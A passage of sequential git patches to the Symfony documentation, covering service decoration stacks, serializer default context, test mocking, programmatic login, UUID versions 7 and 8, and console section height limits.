                 headers:
                     From: 'Fabien <fabien@example.com>'
@@ -577,8 +576,6 @@ and headers.
                 <framework:mailer>
                     <framework:envelope>
                         <framework:sender>fabien@example.com</framework:sender>
-                        <!-- use this to add a display name:
-                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender> -->
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
@@ -599,7 +596,6 @@ and headers.
             $mailer
                 ->envelope()
                     ->sender('fabien@example.com')
-                    // ->sender('Fabien <fabien@example.com>') (use this to add a display name)
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 

From 9f31eb7cf3fa39a1605887f163a79323e02fc3f3 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 29 Sep 2022 13:17:46 +0200
Subject: [PATCH 3707/7107] Improve the diff highlighting for custom webpack
 plugins

Highlighting only part of the new method call does not make sense.
---
 frontend/encore/custom-loaders-plugins.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 6e0957a085c..92699b0857a 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -57,9 +57,9 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
           // ...
 
     +     .addPlugin(new webpack.IgnorePlugin({
-              resourceRegExp: /^\.\/locale$/,
-              contextRegExp: /moment$/,
-          }))
+    +         resourceRegExp: /^\.\/locale$/,
+    +         contextRegExp: /moment$/,
+    +     }))
       ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader

From 23aed78fa76ba342c41a7d907de165284e484507 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Sep 2022 17:41:57 +0200
Subject: [PATCH 3708/7107] Minor tweak

---
 service_container/service_subscribers_locators.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index b2196ba1578..eadecea3fd2 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -726,8 +726,7 @@ and compose your services with them::
 Testing a Service Subscriber
 ----------------------------
 
-When you need to unit test a service subscriber, you can either create a fake
-``ServiceLocator``::
+To unit test a service subscriber, you can create a fake ``ServiceLocator``::
 
     use Symfony\Component\DependencyInjection\ServiceLocator;
 
@@ -758,7 +757,7 @@ When you need to unit test a service subscriber, you can either create a fake
     $serviceSubscriber = new MyService($container);
     // ...
 
-Or mock it when using ``PHPUnit``::
+Another alternative is to mock it using ``PHPUnit``::
 
     use Psr\Container\ContainerInterface;
 

From c0f4dd4f75382936f48e1e59b77c460b56106658 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Sep 2022 17:51:15 +0200
Subject: [PATCH 3709/7107] Minor tweak

---
 frontend/encore/simple-example.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index eef08de0207..1e5448655a8 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -87,7 +87,8 @@ with ``npm run``.
 
 .. caution::
 
-    Whenever you make changes in your ``webpack.config.js`` file, you need to stop and restart ``encore``.
+    Whenever you make changes in your ``webpack.config.js`` file, you must
+    stop and restart ``encore``.
 
 Congrats! You now have three new files:
 

From c08a0a857416d0d89035fe79fb954f5e868dcec4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 29 Sep 2022 22:06:29 +0200
Subject: [PATCH 3710/7107] Removing self-closing slash from `<input>`s

I suggested the same for Symfony's templates, see https://github.com/symfony/symfony/pull/47715
---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index c70b01d8652..6650098747a 100644
--- a/security.rst
+++ b/security.rst
@@ -807,13 +807,13 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+            <input type="text" id="username" name="_username" value="{{ last_username }}">
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password"/>
+            <input type="password" id="password" name="_password">
 
             {# If you want to control the URL the user is redirected to on success
-            <input type="hidden" name="_target_path" value="/account"/> #}
+            <input type="hidden" name="_target_path" value="/account"> #}
 
             <button type="submit">login</button>
         </form>

From 664bc4b79ef054fc88c2ea616d3c5a4769bcb5ff Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Fri, 30 Sep 2022 17:15:30 +0200
Subject: [PATCH 3711/7107] document serializer default_context

---
 reference/configuration/framework.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 56b19ab150c..06df82f51ef 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2836,6 +2836,19 @@ paths
 This option allows to define an array of paths with files or directories where
 the component will look for additional serialization files.
 
+default_context
+...............
+
+**type**: ``array`` **default**: ``[]``
+
+A map with default context options that will be used with each ``serialize`` and ``deserialize``
+call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
+to a `json_encode flags bitmask`_.
+
+.. versionadded:: 5.4
+
+    The ``default_context`` parameter was introduced in Symfony 5.4.
+
 php_errors
 ~~~~~~~~~~
 
@@ -3612,6 +3625,7 @@ use the configuration of the first exception that matches ``instanceof``:
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
 .. _`gulp-rev`: https://www.npmjs.com/package/gulp-rev
 .. _`webpack-manifest-plugin`: https://www.npmjs.com/package/webpack-manifest-plugin
+.. _`json_encode flags bitmask`: https://www.php.net/json_encode
 .. _`error_reporting PHP option`: https://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting
 .. _`CSRF security attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`session.sid_length PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-length

From 02ae0a5da61d8c3ecb8bb2cc766e748e2e3dbc0f Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 25 Sep 2022 11:07:48 +0200
Subject: [PATCH 3712/7107] [DependencyInjection] Document `stack` definitions

---
 service_container/service_decoration.rst | 249 +++++++++++++++++++++--
 1 file changed, 235 insertions(+), 14 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 4c7f2ed0158..06f7a0df1ab 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -258,17 +258,18 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
     .. code-block:: yaml
 
         # config/services.yaml
-        Foo: ~
+        services:
+            Foo: ~
 
-        Bar:
-            decorates: Foo
-            decoration_priority: 5
-            arguments: ['@.inner']
+            Bar:
+                decorates: Foo
+                decoration_priority: 5
+                arguments: ['@.inner']
 
-        Baz:
-            decorates: Foo
-            decoration_priority: 1
-            arguments: ['@.inner']
+            Baz:
+                decorates: Foo
+                decoration_priority: 1
+                arguments: ['@.inner']
 
     .. code-block:: xml
 
@@ -300,14 +301,14 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set(Foo::class);
+            $services->set(\Foo::class);
 
-            $services->set(Bar::class)
-                ->decorate(Foo::class, null, 5)
+            $services->set(\Bar::class)
+                ->decorate(\Foo::class, null, 5)
                 ->args([service('.inner')]);
 
-            $services->set(Baz::class)
-                ->decorate(Foo::class, null, 1)
+            $services->set(\Baz::class)
+                ->decorate(\Foo::class, null, 1)
                 ->args([service('.inner')]);
         };
 
@@ -316,6 +317,226 @@ The generated code will be the following::
 
     $this->services[Foo::class] = new Baz(new Bar(new Foo()));
 
+Stacking Decorators
+-------------------
+
+An alternative to using decoration priorities is to create a ``stack`` of
+ordered services, each one decorating the next:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            decorated_foo_stack:
+                stack:
+                    - class: Baz
+                      arguments: ['@.inner']
+                    - class: Bar
+                      arguments: ['@.inner']
+                    - class: Foo
+
+            # using the short syntax:
+            decorated_foo_stack:
+                stack:
+                    - Baz: ['@.inner']
+                    - Bar: ['@.inner']
+                    - Foo: ~
+
+            # can be simplified when autowiring is enabled:
+            decorated_foo_stack:
+                stack:
+                    - Baz: ~
+                    - Bar: ~
+                    - Foo: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <services>
+                <stack id="decorated_foo_stack">
+                    <service class="Baz">
+                        <argument type="service" id=".inner"/>
+                    </service>
+                    <service class="Bar">
+                        <argument type="service" id=".inner"/>
+                    </service>
+                    <service class="Foo"/>
+                </stack>
+
+                <!-- can be simplified when autowiring is enabled: -->
+                <stack id="decorated_foo_stack">
+                    <service class="Baz"/>
+                    <service class="Bar"/>
+                    <service class="Foo"/>
+                </stack>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $container) {
+            $container->services()
+                ->stack('decorated_foo_stack', [
+                    inline_service(\Baz::class)->args([service('.inner')]),
+                    inline_service(\Bar::class)->args([service('.inner')]),
+                    inline_service(\Foo::class),
+                ])
+
+                // can be simplified when autowiring is enabled:
+                ->stack('decorated_foo_stack', [
+                    inline_service(\Baz::class),
+                    inline_service(\Bar::class),
+                    inline_service(\Foo::class),
+                ])
+            ;
+        };
+
+The result will be the same as in the previous section::
+
+    $this->services['decorated_foo_stack'] = new Baz(new Bar(new Foo()));
+
+Like aliases, a ``stack`` can only use ``public`` and ``deprecated`` attributes.
+
+Each frame of the ``stack`` can be either an inlined service, a reference or a
+child definition.
+The latter allows embedding ``stack`` definitions into each others, here's an
+advanced example of composition:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            some_decorator:
+                class: App\Decorator
+
+            embedded_stack:
+                stack:
+                    - alias: some_decorator
+                    - App\Decorated: ~
+
+            decorated_foo_stack:
+                stack:
+                    - parent: embedded_stack
+                    - Baz: ~
+                    - Bar: ~
+                    - Foo: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <services>
+                <service id="some_decorator" class="App\Decorator"/>
+
+                <stack id="embedded_stack">
+                    <service alias="some_decorator"/>
+                    <service class="App\Decorated"/>
+                </stack>
+
+                <stack id="decorated_foo_stack">
+                    <service parent="embedded_stack"/>
+                    <service class="Baz"/>
+                    <service class="Bar"/>
+                    <service class="Foo"/>
+                </stack>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Decorated;
+        use App\Decorator;
+
+        return function(ContainerConfigurator $container) {
+            $container->services()
+                ->set('some_decorator', Decorator::class)
+
+                ->stack('embedded_stack', [
+                    service('some_decorator'),
+                    inline_service(Decorated::class),
+                ])
+
+                ->stack('decorated_foo_stack', [
+                    inline_service()->parent('embedded_stack'),
+                    inline_service(\Baz::class),
+                    inline_service(\Bar::class),
+                    inline_service(\Foo::class),
+                ])
+            ;
+        };
+
+The result will be::
+
+    $this->services['decorated_foo_stack'] = new App\Decorator(new App\Decorated(new Baz(new Bar(new Foo()))));
+
+.. note::
+
+    To change existing stacks (i.e. from a compiler pass), you can access each
+    frame by its generated id with the following structure:
+    ``.stack_id.frame_key``.
+    From the example above, ``.decorated_foo_stack.1`` would be a reference to
+    the inlined ``Baz`` service and ``.decorated_foo_stack.0`` to the embedded
+    stack.
+    To get more explicit ids, you can give a name to each frame:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # ...
+            decorated_foo_stack:
+                stack:
+                    first:
+                        parent: embedded_stack
+                    second:
+                        Baz: ~
+                    # ...
+
+        .. code-block:: xml
+
+            <!-- ... -->
+            <stack id="decorated_foo_stack">
+                <service id="first" parent="embedded_stack"/>
+                <service id="second" class="Baz"/>
+                <!-- ... -->
+            </stack>
+
+        .. code-block:: php
+
+            // ...
+            ->stack('decorated_foo_stack', [
+                'first' => inline_service()->parent('embedded_stack'),
+                'second' => inline_service(\Baz::class),
+                // ...
+            ])
+
+    The ``Baz`` frame id will now be ``.decorated_foo_stack.second``.
+
+.. versionadded:: 5.1
+
+    The ability to define ``stack`` was introduced in Symfony 5.1.
+
 Control the Behavior When the Decorated Service Does Not Exist
 --------------------------------------------------------------
 

From 875662dd3f0b2ed399ec5e7e9724c7953c6538b6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 1 Oct 2022 10:28:05 +0200
Subject: [PATCH 3713/7107] Cleanup old versionadded directives

---
 .doctor-rst.yaml                      | 1 -
 reference/configuration/framework.rst | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 12b4aa2a573..7323d53d1dd 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,7 +88,6 @@ whitelist:
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
-        - '.. versionadded:: 5.1' # Private Services
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 06b392405b5..5835aec90e6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2733,10 +2733,6 @@ A map with default context options that will be used with each ``serialize`` and
 call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
 to a `json_encode flags bitmask`_.
 
-.. versionadded:: 5.4
-
-    The ``default_context`` parameter was introduced in Symfony 5.4.
-
 php_errors
 ~~~~~~~~~~
 

From 852aa117f118266165966a2a7710d3a5be7e326d Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Thu, 29 Sep 2022 15:22:39 +0200
Subject: [PATCH 3714/7107] document default context for the serializer

---
 reference/configuration/framework.rst | 3 +++
 serializer.rst                        | 7 +++++--
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3300088b309..0fde90a9777 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2752,6 +2752,9 @@ A map with default context options that will be used with each ``serialize`` and
 call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
 to a `json_encode flags bitmask`_.
 
+You can inspect the :ref:`serializer context builders <serializer-using-context-builders>`
+to discover the available settings.
+
 php_errors
 ~~~~~~~~~~
 
diff --git a/serializer.rst b/serializer.rst
index 84f39f49f56..a27ecccecb3 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -130,6 +130,7 @@ configuration:
             serializer:
                 default_context:
                     enable_max_depth: true
+                    yaml_indentation: 2
 
     .. code-block:: xml
 
@@ -137,7 +138,7 @@ configuration:
         <framework:config>
             <!-- ... -->
             <framework:serializer>
-                <default-context enable-max-depth="true"/>
+                <default-context enable-max-depth="true" yaml-indentation="2"/>
             </framework:serializer>
         </framework:config>
 
@@ -146,11 +147,13 @@ configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+        use Symfony\Component\Serializer\Encoder\YamlEncoder;
 
         return static function (FrameworkConfig $framework) {
             $framework->serializer()
                 ->defaultContext([
-                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
+                    YamlEncoder::YAML_INDENTATION => 2,
                 ])
             ;
         };

From 917c9dbc8942c60f53590fa8f5ca0834fbc88cfb Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 1 Oct 2022 11:48:13 +0200
Subject: [PATCH 3715/7107] [Testing] Add a section to mock service
 dependencies

---
 testing.rst | 86 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 86 insertions(+)

diff --git a/testing.rst b/testing.rst
index 683998543ec..adbd28989ae 100644
--- a/testing.rst
+++ b/testing.rst
@@ -280,6 +280,92 @@ It gives you access to both the public services and the non-removed
     are not used by any other services), you need to declare those private
     services as public in the ``config/services_test.yaml`` file.
 
+Mocking Dependencies
+--------------------
+
+Sometimes it can be useful to mock a dependency of a tested service.
+
+From the example in the previous section, let's assume the
+``NewsletterGenerator`` has a dependency to a private alias
+``NewsRepositoryInterface`` pointing to a private ``NewsRepository`` service
+and we would like to use a mocked ``NewsRepositoryInterface`` instead of the
+concrete one::
+
+    // ...
+    use App\Contracts\Repository\NewsRepositoryInterface;
+
+    class NewsletterGeneratorTest extends KernelTestCase
+    {
+        public function testSomething()
+        {
+            // ... same bootstrap as the section above
+
+            $newsRepository = $this->createMock(NewsRepositoryInterface::class);
+            $newsRepository->expects(self::once())
+                ->method('findNewsFromLastMonth')
+                ->willReturn([
+                    new News('some news'),
+                    new News('some other news'),
+                ])
+            ;
+
+            // the following line won't work unless the alias is made public
+            $container->set(NewsRepositoryInterface::class, $newsRepository);
+
+            // will be injected the mocked repository
+            $newsletterGenerator = $container->get(NewsletterGenerator::class);
+
+            // ...
+        }
+    }
+
+In order to make the alias public, you will need to update configuration for
+the ``test`` environment as follow:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services_test.yaml
+        services:
+            # redefine the alias as it should be while making it public
+            App\Contracts\Repository\NewsRepositoryInterface:
+                alias: App\Repository\NewsRepository
+                public: true
+
+    .. code-block:: xml
+
+        <!-- config/services_test.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+        ">
+            <services>
+                <!-- redefine the alias as it should be while making it public -->
+                <service id="App\Contracts\Repository\NewsRepositoryInterface"
+                    alias="App\Repository\NewsRepository"
+                />
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Contracts\Repository\NewsRepositoryInterface;
+        use App\Repository\NewsRepository;
+
+        return static function (ContainerConfigurator $container) {
+            $container->services()
+                // redefine the alias as it should be while making it public
+                ->alias(NewsRepositoryInterface::class, NewsRepository::class)
+                    ->public()
+            ;
+        };
+
 .. _testing-databases:
 
 Configuring a Database for Tests

From 1d92b8ef4c86d7f784d862dc4798c4ac2952a8c2 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Tue, 19 Jul 2022 10:17:44 +0200
Subject: [PATCH 3716/7107] [Translator] Fix example of using ICU message
 directly in code

---
 translation/message_format.rst | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index a718c75ca38..fd817a94d9d 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -187,6 +187,8 @@ you to use literal text in the select statements:
     It's possible to translate ICU MessageFormat messages directly in code,
     without having to define them in any file::
 
+        use Symfony\Component\Translation\MessageCatalogueInterface;
+
         $invitation = '{organizer_gender, select,
             female   {{organizer_name} has invited you to her party!}
             male     {{organizer_name} has invited you to his party!}
@@ -195,10 +197,15 @@ you to use literal text in the select statements:
         }';
 
         // prints "Ryan has invited you to his party!"
-        echo $translator->trans($invitation, [
-            'organizer_name' => 'Ryan',
-            'organizer_gender' => 'male',
-        ]);
+        echo $translator->trans(
+            $invitation,
+            [
+                'organizer_name' => 'Ryan',
+                'organizer_gender' => 'male',
+            ],
+            // Appends the required suffix "+intl-icu" to the domain
+            'messages'.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX
+        );
 
 .. _component-translation-pluralization:
 

From 600858716c5a2a57fa4c0420994f40b9a4c3a2ba Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sat, 1 Oct 2022 16:50:04 +0200
Subject: [PATCH 3717/7107] Mailer: remove port 99 for requestbin.com

---
 mailer.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 9f81cedc91a..d03bbef5a33 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,7 +174,6 @@ Sendgrid             sendgrid+smtp://KEY@default                n/a
 
         # .env
         MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com:99
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 

From b63ccf7639de34e379cf82b6b980d07a9467ae86 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Arnaud=20Fr=C3=A9zet?= <arnaud@les-tilleuls.coop>
Date: Wed, 21 Sep 2022 11:55:04 +0200
Subject: [PATCH 3718/7107] [Security] Add documentation for programmatic login

---
 security.rst | 46 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/security.rst b/security.rst
index c70b01d8652..e098fa864e1 100644
--- a/security.rst
+++ b/security.rst
@@ -1599,6 +1599,52 @@ and set the ``limiter`` option to its service ID:
             ;
         };
 
+Login Programmatically
+----------------------
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    class was introduced in Symfony 6.2. Prior to 6.2, it was called
+    ``Symfony\Component\Security\Core\Security``.
+
+.. versionadded:: 6.2
+
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::login`
+    method was introduced in Symfony 6.2.
+
+You can log in a user programmatically using the `login()` method of the
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller\SecurityController;
+
+    use App\Security\Authenticator\ExampleAuthenticator;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
+
+    class SecurityController
+    {
+        public function someAction(Security $security): Response
+        {
+            // get the user to be authenticated
+            $user = ...;
+
+            // log the user in on the current firewall
+            $this->security->login($user);
+
+            // if the firewall has more than one authenticator, you must pass it explicitly
+            // by using the name of built-in authenticators...
+            $this->security->login($user, 'form_login');
+            // ...or the service id of custom authenticators
+            $this->security->login($user, ExampleAuthenticator::class);
+
+            // you can also log in on a different firewall
+            $this->security->login($user, 'form_login', 'other_firewall');
+
+            // ... redirect the user to its account page for instance
+        }
+    }
+
 .. _security-logging-out:
 
 Logging Out

From 24b9b1d0e780cbbc84ac3cf94a567fe8c876478c Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Tue, 6 Sep 2022 12:32:06 +0200
Subject: [PATCH 3719/7107] Document the `framework.router.cache_dir` setting

---
 reference/configuration/framework.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 57011f4dd29..7830deac76c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1495,6 +1495,18 @@ If the charset of your application is UTF-8 (as defined in the
 recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
 errors.
 
+cache_dir
+.........
+
+**type**: ``string`` **default**: ``%kernel.cache_dir%``
+
+The directory where routing information will be cached. Can be set to
+``~`` (``null``) to disable route caching.
+
+.. versionadded:: 6.2
+
+    The ``cache_dir`` setting was introduced in Symfony 6.2.
+
 .. _config-framework-session:
 
 session

From 5222e73beb79ed9e9750fa0f6c0f1d0798a59f4d Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Sun, 2 Oct 2022 20:38:08 +0200
Subject: [PATCH 3720/7107] [Uuid] 17258 Add documentation for Uuid 7 and 8

---
 components/uid.rst             | 16 ++++++++++++++++
 reference/constraints/Uuid.rst | 12 +++++++++---
 2 files changed, 25 insertions(+), 3 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 8e78fe76da4..d464f7c3796 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -63,6 +63,22 @@ to create each type of UUID::
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
+    // UUID version 7 features a time-ordered value field derived from the widely implemented and well known
+    // Unix Epoch timestamp source, the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
+    // As well as improved entropy characteristics over versions 1 or 6.
+    $uuid = Uuid::v7();
+
+    // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
+    // The only requirement is that the variant and version bits
+    // MUST be set as defined in Section 4:
+    // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
+    // UUIDv8's uniqueness will be implementation-specific and SHOULD NOT be assumed.
+    $uuid = Uuid::v8();
+
+.. versionadded:: 6.2
+
+    Versions 7 and 8 were introduced in Symfony 6.2.
+
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
 
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index fff97d10171..06fdbb86147 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -112,9 +112,9 @@ will allow alternate input formats like:
 ``versions``
 ~~~~~~~~~~~~
 
-**type**: ``int[]`` **default**: ``[1,2,3,4,5,6]``
+**type**: ``int[]`` **default**: ``[1,2,3,4,5,6,7,8]``
 
-This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 6.
+This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 8.
 The following PHP constants can also be used:
 
 * ``Uuid::V1_MAC``
@@ -123,8 +123,14 @@ The following PHP constants can also be used:
 * ``Uuid::V4_RANDOM``
 * ``Uuid::V5_SHA1``
 * ``Uuid::V6_SORTABLE``
+* ``Uuid::V7_MONOTONIC``
+* ``Uuid::V8_CUSTOM``
 
-All six versions are allowed by default.
+.. versionadded:: 6.2
+
+    Versions 7 and 8 were introduced in Symfony 6.2.
+
+All versions are allowed by default.
 
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122

From a0ee1ece42e7304c4d39d1dea0d4c80a37f16959 Mon Sep 17 00:00:00 2001
From: ayacoo <info@ayacoo.de>
Date: Sun, 2 Oct 2022 12:04:40 +0200
Subject: [PATCH 3721/7107] [Console] Update console.rst

---
 console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/console.rst b/console.rst
index 5e1aed7e791..5051f6f625e 100644
--- a/console.rst
+++ b/console.rst
@@ -334,6 +334,12 @@ method, which returns an instance of
             $section1->clear(2);
             // Output is now completely empty!
 
+            // Allow limiting the height of a console section
+            $section1->setMaxHeight(2);
+            $section1->writeln('Line1');
+            $section1->writeln('Line2');
+            $section1->writeln('Line3');
+
             return Command::SUCCESS;
         }
     }
@@ -342,6 +348,10 @@ method, which returns an instance of
 
     A new line is appended automatically when displaying information in a section.
 
+.. versionadded:: 6.2
+
+    Allow limiting the height of a console section was introduced in Symfony 6.2.
+
 Output sections let you manipulate the Console output in advanced ways, such as
 :ref:`displaying multiple progress bars <console-multiple-progress-bars>` which
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`

From 480c2b580e7769cf51df8a6b200c7be58cca09fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 09:45:55 +0200
Subject: [PATCH 3722/7107] Minor tweaks

---
 console.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 5051f6f625e..5f7e33390d4 100644
--- a/console.rst
+++ b/console.rst
@@ -334,7 +334,7 @@ method, which returns an instance of
             $section1->clear(2);
             // Output is now completely empty!
 
-            // Allow limiting the height of a console section
+            // setting the max height of a section will make new lines replace the old ones
             $section1->setMaxHeight(2);
             $section1->writeln('Line1');
             $section1->writeln('Line2');
@@ -350,7 +350,7 @@ method, which returns an instance of
 
 .. versionadded:: 6.2
 
-    Allow limiting the height of a console section was introduced in Symfony 6.2.
+    The feature to limit the height of a console section was introduced in Symfony 6.2.
 
 Output sections let you manipulate the Console output in advanced ways, such as
 :ref:`displaying multiple progress bars <console-multiple-progress-bars>` which

From 6d84eefccd905e791aba72f2700366a21f623122 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 2 Oct 2022 10:12:47 +0200
